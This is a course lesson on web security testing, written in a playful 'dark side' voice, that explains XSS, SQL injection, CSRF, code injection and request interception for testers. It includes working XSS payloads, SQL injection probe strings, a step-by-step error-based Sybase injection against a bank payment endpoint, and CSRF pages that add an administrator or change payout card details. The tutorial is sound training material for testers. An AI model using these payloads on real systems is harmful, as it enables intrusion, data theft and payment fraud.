Level 21. Web Security Testing
Level 21
Security Testing

Cross over to the dark side. Together we can do things you can't even imagine.
You must know how to test security to become a real tester (but in truth, we will teach you the dark power of the Sith and hackers).
The main powers of the Sith are:
XSS vulnerabilities
SQL injection
CSRF vulnerabilities (XSRF)
Code injection (and other rarer ones)
Data interception
XSS Vulnerabilities
The most common ones are:
- Entering a script into a form on the site and having it run on the next step, in the admin panel, or for another user
- Injecting a script into the site's URL
- Injecting a script into a request

In my personal experience, XSS is vulnerability number 1, because it is the most common, does serious damage, and is easy to exploit.
Cross Site Scripting (XSS) is a type of attack on web systems that involves injecting malicious code into a page served by the web system (the code runs on the user's computer when they open the page) and having that code interact with the attacker's web server.
To understand what XSS is, let's take a look at this code:
<?php
header( 'Refresh: 5; url=' . $_GET['url']);
<html>
<head>
<meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta>
</head>
</html>
Analyzing the code, it becomes clear that a request like http://localhost/?url="><script>alert("XSS")</script><!-- easily and effortlessly delivers, well, cross-site script execution.
Why? Because any browser will run JavaScript both inside the page and when it is included in the request. Those are its basic working functions. After all, the browser doesn't know whether your code is malicious or not. It follows that the developer's job is to make sure the right code runs and to restrict the execution of malicious code. The tester's job is to verify that there is no way to inject malicious code so that it runs in the browser.
Let me clarify a bit about the code we just analyzed. The url=<?=$_GET['url']?> command takes the contents of the URL string as is and, on refresh, runs it again along with everything the user has added to it
The tester's job

The tester's job is to find the vulnerability and file a bug, so that the developer fixes it and hackers can't attack your site.
The difference between a vulnerability and an attack is that fixing the vulnerability eliminates every attack that exploits it, while blocking one specific attack does not remove the vulnerability itself. A simple example: if we treat this XSS as the vulnerability and fix it by URL-encoding every fragment of the URL passed to the script, that will have no effect at all on the possibility of an attack that abuses the redirect functionality, because the attacker will still be able to redirect the user to any correctly formed URL. Instead of fighting the consequences, we must fight the cause, namely eliminate that one vulnerability that makes all these attacks possible.
In this case, the vulnerability is that the GET parameter url is not handled properly, either when the web server passes it to the script or before it is used in the output.
Allow me to introduce it: this vulnerability belongs to the classes of improper handling of input and output data, and it is the most widespread vulnerability, the one that makes most of the attacks known today possible. Therefore, to eliminate it, you need to ensure proper and sufficient handling of both types of data, and obviously, URL encoding alone is not sufficient here.

XSS Can Be Passive or Active
XSS is usually classified by two criteria: the vector and the method of impact. The method of impact is in turn split into two types: "active" and "passive". The terms break down like this: an active XSS is one that requires no extra actions from the user in terms of the web application's functionality, unlike a passive one.
In other words, an active one is simply a script that got injected into the site and runs when the page is processed, while a passive one has to be triggered by the user or the hacker (a click, a view, receiving a message).
By vector, XSS is divided into reflected (returned by the server in response to the same request that carried the exploitation vector), persistent (stored on the server and delivered in all responses to the same request, even one that does not contain the exploitation vector), and DOM-based (which can be carried out without sending any requests to the server).
In case you forgot: XSS is an attack on the user aimed at executing an arbitrary script in their browser
That is the definition you will find on the internet for XSS, but it is not quite accurate. To run an arbitrary script in the victim's browser, it would be enough to lure them to a specially prepared page hosted on a server controlled by the attacker. XSS is aimed not simply at running an arbitrary script, but at running it in the origin context of a specific site, in order to bypass the Same Origin Policy (SOP) and, as a result, gain access to the data and functionality of the web application's client side within the user's session and with that user's privileges. It is first and foremost an attack on the web application, realizing the threat in the application itself rather than in the user's browser.
Let me clear up these complicated definitions a bit: the very same malicious script that steals cookies can be placed on your own site, and then it poses no danger, because nobody really needs it, just like your cookies. Injecting the script into Facebook is a completely different story: everyone who sees your message will have their cookies stolen, which means access to their accounts.
Examples of XSS Vulnerabilities in Data Input Forms
Darth Vader contacted the bank's support and sent the operator an image tag <IMG SRC="javascript:alert('XSS');"> with embedded JS code. The code ran for him and for the operator. You can hack the operator and become the operator yourself!
The previous image shows the settings of an online payment recipient. Instead of the merchant's details, the Sith entered their own XSS code. As a result, it runs on the side of the back-office administrator (the admin panel). A hacker getting into a payment system's admin panel means total disaster.
XSS Vulnerabilities in the URL
It consists of inserting a javascript tag in place of one of the request parameters. The vulnerability is passive: to carry out the attack, you need to deliver the infected URL to the victim or wait until they click a button on a third-party site.

Here's an example:
www.mysite.com/confirmaddress?address=<script>alert(document.cookie)</script>
or
www.mysite.com/confirmaddress?address=%3Cscript%3Ealert%28document.cookie%29%3C%2fscript%3E
The hacker's main tool in this case is a URL encoder.
Besides injecting into an existing parameter, you can pass a new one:
www.mysite.com/confirmaddress?address=city"><script>alert(1);</script>&path="><script>alert(2);</script>
http://testsite.test/<script>alert("TEST");</script>
Injecting XSS into a Request
The essence of the XSS is the same as in the first two variants, but the hacker's goal is to get around the client-side validation.
Sometimes scripts are filtered on the client but not on the server. The goal is to get around this check and send the request directly to the server.
- Disable script execution on the page, add the XSS, and re-enable execution
- Send a direct POST / GET request with the XSS, bypassing the client-side form
- Intercept the request and add the XSS
Help with Checking XSS
Mozilla add-ons are extremely useful here. Since Firefox is a freely configurable browser, all hackers use it. Better yet, there are already plenty of ready-made Firefox add-ons that will help you in your hacking attempts. Here are some examples:
XSS ME - automatically checks the site's forms against the main XSS tags (afterward you need to compose an XSS request manually)
REST client - an add-on for sending requests. If you suspect that a script-infected request can be sent, this is the tool for you.
Right click XSS - the most effective for manually checking fields for XSS. We recommend installing all of these add-ons right now.
Software suites for automatic vulnerability scanning. These programs may be paid, so google them:
Acunetix Web Vulnerability Scanner
Netsparker

So, let's sum up. XSS is the vulnerability hackers exploit most. It is very dangerous for banking products (there is a risk of money theft). It requires knowledge of JavaScript basics, but even so, it is the easiest one for an inexperienced tester to find.
Here's a link with a bit more about XSS
SQL Injection

SQL injection is the injection of a foreign SQL query into an application's query. The essence of the vulnerability is that, besides the main query or at its expense, a third-party query gets executed and exposes the server owners' databases. For example: adding a query that shows the names and data of all the site's customers, or destroys the database (hereafter, the DB) altogether.
Why does this happen? Because a query is usually built on the client side of the site and processed on the server, and sometimes there is no protection against SQL injection at all, or it exists only on the client. That is when protected information from the DB is exposed in the form of system SQL errors. It becomes clear that the goal of your testing is to get an SQL error.
Here is how it is achieved:
- It is injected directly into the visible URL (current requests)
- It is injected into background requests and transmitted data (RAW, XML, JSON ... )
Then the SQL injection is found by the SQL error shown to the user.
The main rule - the user must never see raw, unprocessed SQL responses or errors.
The goal of testing - to provoke a non-standard response from the database.
To understand how dangerous SQL injection is, you need to try exploiting it. To get any data from the DB, you need to know its type (Sybase, MySQL, Oracle ...). You absolutely must know the basics of SQL. Don't be afraid, you will learn it in level 17.
Injection detection methodology. Either automatically or manually, you add a quotation mark to the values of the request parameters (it will break the query) or a logically incorrect expression (it will throw an SQL exception).
For example:
'
'1
1 OR 1=1
1 AND 1=1
1' AND 1=(SELECT COUNT(*) FROM tablenames); --
1 AND USER_NAME() = 'dbo'
\'; DESC users; --
' OR username IS NOT NULL OR username = '
Here's an example of a real SQL injection that was found.
(Error-based Sybase Database SQL Injection)
While analyzing a POST request, I found that adding ' to the logID parameter produced a message like error in SQL querry.
After analyzing this error, I concluded that it is possible to extract confidential data this way. Here is the request itself:
http://10.1.108.109:9080/p24/privatmoney?step=2&a_card=4*-47*1&commission=1.0'&destinationCountry=UA'&logID=32705'&paymentCcy=UAH'&pmTerms=on&receiverCard=123'&receiverFirstName=test'&receiverLastName=TESTovich'&receiverMiddleName=test'&totalPay=13.0+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--&txtSumm=12'
Here's a screenshot, warrior, to help you understand it better

In this screenshot you can see that the database's own response was returned as the error instead of a handled error message. The expected result here is "Invalid request". No other technical information may be shown to the client. Next, we demonstrate how a hack is carried out based on this information.
Breaking Down the Case
I suspected that an injection was possible at this spot.
Assuming the DB would be Sybase, I added SQL code that returned the DB version: +and+1=convert%28integer,@@version%29--
Here is the attacking request:
http://10.1.108.109:9080/p24/privatmoney?step=2&a_card=4*-47*1&commission=1.0'&destinationCountry=UA'&logID=32705+and+1=convert%28integer,@@version%29--&paymentCcy=UAH'&pmTerms=on&receiverCard=123'&receiverFirstName=test'&receiverLastName=TESTovich'&receiverMiddleName=test'&totalPay=13.0+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--&txtSumm=12'
Sure enough, it returned the version. Next we can try to find out a table name for Sybase by adding +and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--
It returned the name of the 1st table, PMRoles. By adding the names of the tables already exposed and excluding them one by one, you can find all the others too, such as PrivatMoneyLog;
Then, knowing the table name, you can find out the column name
+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from sysobjects where type='U' and name=PrivatMoneyLog)))--
You can find out the names of all the tables and columns and pull out banking data. The vulnerability is plain as day.
The main thing is not to get carried away, so you don't damage the data yourself!

Now you will get the joke about the hacker's dad. And finally, here's an article about exploiting SQL injection
CSRF Vulnerability
CSRF (Cross Site Request Forgery, also known as XSRF) is a type of attack on website visitors that exploits flaws in the HTTP protocol. If the victim visits a site created by the attacker, a request is secretly sent on their behalf to another server (for example, a payment system's server) that performs some malicious operation (for example, transferring money to the attacker's account). For this attack to work, the victim must be authorized on the server the request is sent to, and the request must not require any confirmation from the user that cannot be ignored or forged by the attacking script.

It's kind of hard to see where the vulnerability is here and who is faking what. I know you can send any request to any server, but the server won't accept it without authorization, right?
Let me give you a real-world example, my young follower of the dark side: take a well-known social network. A news post on a VK wall is created through a POST request. There used to be a vulnerability: if you were logged in to VK and visited some malicious site, the same request was sent to the VK server on your behalf, carrying an ad or a post that compromised you. And since the user had active cookies for that site and VK had an XSRF vulnerability, the post generated by the malicious site was published as that user, because the server "knows" them thanks to the cookies.
Implementing and Checking CSRF
The essence of the vulnerability is that the server accepts requests from third-party sites. When the victim (if logged in to our resource) visits such a site, they will send a request to their own account with fraudulent settings.
For example, in the case of internet banking (from my own practice):
- A message with third-party text is sent to a bank operator, from a user who visited the hacker's site
- The payment receiving settings are changed so that payments go not to the user's own card but to the fraudster's card

How to look for the vulnerability:
- Copy one of the requests generated by a form on the original site.
- Based on it, create a web component (one that sends an identical request, but with different data). It can be an image, an invisible form, or a button; it doesn't matter much, as long as the element fires when the page is opened.
- The easiest thing is to create a submit form. It is placed on a third-party resource: a blog, a website, etc.
- The tester opens the site with the form while having an active session on the resource under test
- Now you need to check whether the data in your account has changed after the request was sent from the third-party site. You watch your account to see whether the changes caused by the request you entered in the form have occurred.
A Bit of Practice
Let's take, for example, a spherical site in a vacuum that has a perfectly standard admin panel with a function for adding a new administrator:

The developer of this form knew nothing about CSRF vulnerabilities and, naturally, built no protection against them. On top of that (to keep the example simple), he passed the data using the GET method. When the "create" button is clicked, the browser will build a request to the following page:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
And once the request is executed, a new administrator appears on this site. So what, you might think: this is perfectly ordinary functionality on many sites. But that is exactly where the main mistake lies. The victim can be made to execute this request when visiting a completely different site. We create the following page at http://evil/page.html
And now, if the victim visits http://evil/page.html, the browser will try to load the image but will instead send a request to the admin panel, thereby creating a new administrator. The only mandatory condition for successfully exploiting this vulnerability is that the victim must be logged in to the vulnerable server at the moment of the attack.
<html>
<head>
<title>An ordinary page</title>
</head>
<body>
With ordinary text. But with unusual content
<img src="http://site/admin/?do=add_admin&new_login=Xaker&new_pass=Pass&new_mail=xaker@evil.Com" alt="" width="1" height="1" />
</body>
</html>
Conclusion
We've figured out what CSRF is. Let's try to pick out the main requirements for carrying out the attack successfully:
- The ability to force the victim to visit a page with extra code. Or the ability for the attacker to modify pages the victim visits often. As they say, if the mountain won't come to Muhammad, then...
- No CSRF protection on the target site (that's the web developers' concern).
- At the moment of the attack, the user must be authorized for the action we want to perform on their behalf
A Real-World Example

When placed in a blog, this form changed the fund-receiving settings in a liqpay.com payment system account when the button was clicked, if the user was logged in.
<html>
<head>
</head>
<body>
<form action='https://newcnb.test.liqpay.com/' method='POST'>
<input type='hidden' name='do' value='shop_connect' />
<input type='hidden' name='m_name' value='test' />
<input type='hidden' name='m_en_name' value='123' />
<input type='hidden' name='m_url' value='www.TEST.com' />
<input type='hidden' name='m_email' value='test@gmail.com' />
<input type='hidden' name='m_wayout' value='account' />
<input type='hidden' name='m_card' value='5577212915890290' />
<input type='hidden' name='card' value='5577212915890290' />
<input type='hidden' name='currency' value='EUR' />
<input type='hidden' name='m_account' value='26004052713410' />
<input type='hidden' name='phone' value='8200049968880' />
<input type='hidden' name='m_company' value='ооо ооо' />
<input type='hidden' name='m_mfo' value='300711' />
<input type='hidden' name='m_okpo' value='2814221710' />
<input type='submit' value='Pay'/>
</form>
</body>
<html>
Code and Command Injection
Code and command injection refers to vulnerabilities related to executing program code on a web page. Mostly this is PHP code, and much more rarely Perl, ASP, and so on. It can apply to web projects written in these languages. The topic is quite narrow, and it also requires programming skills from the attacker. Remember that such vulnerabilities exist, and if your project turns out to be written in one of these languages, bring this information back up for security testing. For now, it is enough to look through examples of such vulnerabilities in these articles:
More on PHP (PHP-including)
Such vulnerabilities are extremely dangerous, since they can be used to run commands on the server (to shut it down, for example). But they are extremely rare. Or rather, there are few fools left who make such serious over...sights.
These other rare vulnerabilities are collected in this document
Data Interception
A vulnerability specific to banking products. It consists of intercepting requests as they are being executed and injecting your own data: changing the payment amount or the payer's card. You must act with extreme care and warn your colleagues when testing.
Tool: Tamper Data, a plugin for Mozilla.
Area of application: banking operations and other places with classified data
Practice

A few assignments to practice with.
Become a hacker and cross over to the dark side with the help of an XSS trainer
Complete the SQL injection quest
Bring me the head of a programmer, and send me screenshots of the level you reach in each quest
Even the dark forces take their own dark tests, and I have saved one just for you



















